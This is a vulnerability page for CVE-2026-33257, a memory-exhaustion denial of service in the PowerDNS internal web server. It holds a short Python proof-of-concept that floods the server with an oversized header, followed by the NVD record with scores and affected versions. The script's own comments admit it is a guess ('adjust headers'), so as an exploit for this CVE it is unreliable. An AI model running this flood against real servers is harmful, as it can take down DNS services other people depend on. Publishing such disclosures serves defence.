CVE-2026-33257

import requests # PoC for CVE-2026-33257 # Target: PowerDNS Internal Web Server # Description: Sends a malicious request causing memory allocation. target = "http://target-ip:8083/" try: # Sending a request with a potentially malicious header # Adjust headers based on specific advisory details headers = { "X-Exploit": "A" * 10000000, "Connection": "keep-alive" } r = requests.get(target, headers=headers, timeout=10) print(f"Status: {r.status_code}") except Exception as e: print(f"Server likely crashed or unresponsive: {e}")

{"cve": {"id": "CVE-2026-33257", "sourceIdentifier": "[email protected]", "published": "2026-04-22T10:16:51.313", "lastModified": "2026-04-27T17:03:56.720", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An attacker can send a web request that causes unlimited memory allocation in the internal web server, leading to a denial of service. The internal web server is disabled by default."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-770"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:powerdns:authoritative:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.9.0", "versionEndExcluding": "4.9.14", "matchCriteriaId": "08464BC2-733F-4260-878D-DE05919A7A7D"}, {"vulnerable": true, "criteria": "cpe:2.3:a:powerdns:authoritative:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.0.0", "versionEndExcluding": "5.0.4", "matchCriteriaId": "A26C526E-15DC-41BE-9B66-FC6A63679562"}, {"vulnerable": true, "criteria": "cpe:2.3:a:powerdns:dnsdist:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.9.0", "versionEndExcluding": "1.9.13", "matchCriteriaId": "DCC2DF11-EC5C-4112-90F2-C266CB65D390"}, {"vulnerable": true, "criteria": "cpe:2.3:a:powerdns:dnsdist:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.0.0", "versionEndExcluding": "2.0.4", "matchCriteriaId": "29865EC6-C1A0-40F3-B0BB-7F71F9C1DCB7"}, {"vulnerable": true, "criteria": "cpe:2.3:a:powerdns:recursor:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.2.0", "versionEndExcluding": "5.2.9", "matchCriteriaId": "EBDA7C62-FAD4-470C-A6FE-4CF19B0BD4AD"}, {"vulnerable": true, "criteria": "cpe:2.3:a:powerdns:recursor:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.3.0", "versionEndExcluding": "5.3.6", "matchCriteriaId": "9F7AC884-348F-47B1-8853-49BFEDBEA9EA"}, {"vulnerable": true, "criteria": "cpe:2.3:a:powerdns:recursor:5.4.0:*:*:*:*:*:*:*", "matchCriteriaId": "4B201BAD-5A74-45E9-91FD-5E950BA18BF3"}]}]}], "references": [{"url": "https://docs.powerdns.com/authoritative/security-advisories/powerdns-advisory-2026-05.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://docs.powerdns.com/recursor/security-advisories/powerdns-advisory-powerdns-2026-03.html", "source": "[email protected]", "tags": ["Vendor Advisory", "Broken Link"]}, {"url": "https://www.dnsdist.org/security-advisories/powerdns-advisory-for-dnsdist-2026-04.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}